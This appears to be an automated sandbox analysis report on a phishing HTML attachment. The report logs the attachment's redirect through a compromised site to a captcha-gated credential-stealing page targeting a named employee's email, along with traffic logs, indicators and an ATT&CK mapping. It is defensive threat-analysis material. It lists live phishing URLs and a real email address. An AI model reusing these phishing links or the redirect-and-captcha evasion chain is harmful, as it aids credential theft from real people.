bhs8jTJfccrprCEaPyKybCJhxMb4odataHfVtrA0YNdD1BYnzvHcdYgZ34/MP6TjVXMoK7463Kf827J3SzH%2BYUdGCwHVh8sv%2BZy5u6oPkBYrBLPcJKfFx2Cj0/IkTdq0wdCvuyZWFrvU0qlNXu3/Sp3VTw9TiQNwW74mbsZSvNcUU9zOfiqiesYAiAWAPQbcnFIbbM/dcB%26p%3DX-Agent-DeviceId: 01000A41090080B6X-BM-CBT: 1728654859User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045X-Device-isOptin: falseAccept-language: en-GB, en, en-USX-Device-Touch: falseX-Device-ClientSession: A137FBA114D34B4EAA287B2BF9753DCCX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RmFG7hRy6DX5H2f&MD=tARowUD4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/45662806:1728652483:UESNLT3H3QxqO_wId2lAkhZLoYB2rUVT4FgDxeg5U30/8d0f56a70cadc3ff/f3abe9e63e0e531 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /539977775575586577HoxufoYVCQOLDQGFXGMZEQOIITJBSUOIJQZQAKITIRDRGTSI HTTP/1.1Host: ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://9q.iountanic.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://9q.iountanic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /539977775575586577HoxufoYVCQOLDQGFXGMZEQOIITJBSUOIJQZQAKITIRDRGTSI HTTP/1.1Host: ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /html/assets/img_community-logo.svg HTTP/1.1Host: community.sephora.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.sephora.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AKA_A2=A
Source: global traffic	HTTP traffic detected: GET /html/assets/img_community-logo.svg HTTP/1.1Host: community.sephora.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AKA_A2=A

Source: global traffic	DNS traffic detected: DNS query: mollysirishpub-tol.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: 9q.iountanic.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com
Source: global traffic	DNS traffic detected: DNS query: www.sephora.com
Source: global traffic	DNS traffic detected: DNS query: cnstrc.com
Source: global traffic	DNS traffic detected: DNS query: e309da9b9aaf.cdn4.forter.com
Source: global traffic	DNS traffic detected: DNS query: community.sephora.com
Source: global traffic	DNS traffic detected: DNS query: js-cdn.dynatrace.com
Source: global traffic	DNS traffic detected: DNS query: api.bluecore.com
Source: global traffic	DNS traffic detected: DNS query: sephora-track.inside-graph.com
Source: global traffic	DNS traffic detected: DNS query: assets.adobedtm.com
Source: global traffic	DNS traffic detected: DNS query: sephora.demdex.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/45662806:1728652483:UESNLT3H3QxqO_wId2lAkhZLoYB2rUVT4FgDxeg5U30/8d0f56a70cadc3ff/f3abe9e63e0e531 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 2807sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: f3abe9e63e0e531sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 11 Oct 2024 13:53:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5xJ5G3j67gd9uRnLQr%2B9b1d%2FtkLoeQd%2BeM2Q9%2Fb5F4eI4n7FRSEiLgaTwq3bxzR9qCE%2F4KaAiZVQLQq1qANIt26%2BfP5j2iDFwSvMiE9W1eTJjR0RAt6FI3dg3GoNgA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingSpeculation-Rules: "/cdn-cgi/speculation"alt-svc: h3=":443"; ma=86400CF-Cache-Status: HITAge: 2052Server: cloudflareCF-RAY: 8d0f56ada8c84239-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 11 Oct 2024 13:53:51 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: nHSYr65rgW+IZoKVFWd3AT1ANwXP0Ar58Dw=$LhDqG1+s6GuD9N8SServer: cloudflareCF-RAY: 8d0f56b71ae341f2-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 11 Oct 2024 13:53:54 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: w2XUjzX6zEXSjvstJUICNOAnLMTdj6RcWm8=$CdyudWLYn6pOTkc1Server: cloudflareCF-RAY: 8d0f56c9a85d42d3-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 11 Oct 2024 13:54:33 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: kQz4d8I4vqk0fdIheym2g15QSklDh1WJWhg=$iuWvkA7C3r2ZRANVServer: cloudflareCF-RAY: 8d0f57bfecb17293-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_79.2.dr, chromecache_76.2.dr

String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.17:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.182:443 -> 192.168.2.17:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:49747 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.evad.winHTML@18/35@54/22

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Audio.wavqvc.com10098.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2032,i,9994889272680913447,6764105540733817126,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2032,i,9994889272680913447,6764105540733817126,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com

HTTP Parser: https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Audio.wavqvc.com10098.html	0%	ReversingLabs

Source	Detection	Scanner	Label
https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://code.jquery.com/jquery-3.6.0.min.js	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
9q.iountanic.com	104.21.68.104	true	true	unknown
dycxm6nnyo2aj.cloudfront.net	18.245.86.6	true	false	unknown
cnstrc.com	99.86.4.116	true	false	unknown
gke-ingress.bluecore.com	35.190.19.88	true	false	unknown
code.jquery.com	151.101.194.137	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	unknown
www.google.com	142.250.186.68	true	false	unknown
ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com	188.114.97.3	true	false	unknown
mollysirishpub-tol.com	69.49.245.172	true	false	unknown
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	54.77.0.81	true	false	unknown
js-cdn.dynatrace.com	52.222.236.22	true	false	unknown
e309da9b9aaf.cdn4.forter.com	18.245.86.4	true	false	unknown
sephora-track.inside-graph.com	unknown	unknown	false	unknown
sephora.demdex.net	unknown	unknown	false	unknown
www.sephora.com	unknown	unknown	false	unknown
assets.adobedtm.com	unknown	unknown	false	unknown
api.bluecore.com	unknown	unknown	false	unknown
community.sephora.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://community.sephora.com/html/assets/img_community-logo.svg	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d0f56a70cadc3ff&lang=auto	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8d0f56a70cadc3ff/1728654830319/ed0dfd9d95f03a14d7f4f65d6e79c89bcf16f1c60c7616b4771f0c4404addab0/QyWZqM6CsEeF5Ob	false		unknown
https://code.jquery.com/jquery-3.6.0.min.js	false	URL Reputation: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/	false		unknown
https://a.nel.cloudflare.com/report/v4?s=5xJ5G3j67gd9uRnLQr%2B9b1d%2FtkLoeQd%2BeM2Q9%2Fb5F4eI4n7FRSEiLgaTwq3bxzR9qCE%2F4KaAiZVQLQq1qANIt26%2BfP5j2iDFwSvMiE9W1eTJjR0RAt6FI3dg3GoNgA%3D%3D	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false	URL Reputation: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		unknown
https://challenges.cloudflare.com/turnstile/v0/b/62ec4f065604/api.js	false		unknown
https://mollysirishpub-tol.com/res444.php?2-68747470733a2f2f39512e696f756e74616e69632e636f6d2f34724772612f-mandrill	false		unknown
https://9q.iountanic.com/4rGra/	true		unknown
https://9q.iountanic.com/favicon.ico	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8d0f56a70cadc3ff/1728654830321/Brmsrk1UDqp3rhl	false		unknown
https://ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com/539977775575586577HoxufoYVCQOLDQGFXGMZEQOIITJBSUOIJQZQAKITIRDRGTSI	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/45662806:1728652483:UESNLT3H3QxqO_wId2lAkhZLoYB2rUVT4FgDxeg5U30/8d0f56a70cadc3ff/f3abe9e63e0e531	false		unknown
file:///C:/Users/user/Desktop/Audio.wavqvc.com10098.html	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false	URL Reputation: safe	unknown
https://www.sephora.com/	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
52.222.236.22	js-cdn.dynatrace.com	United States	16509	AMAZON-02US	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
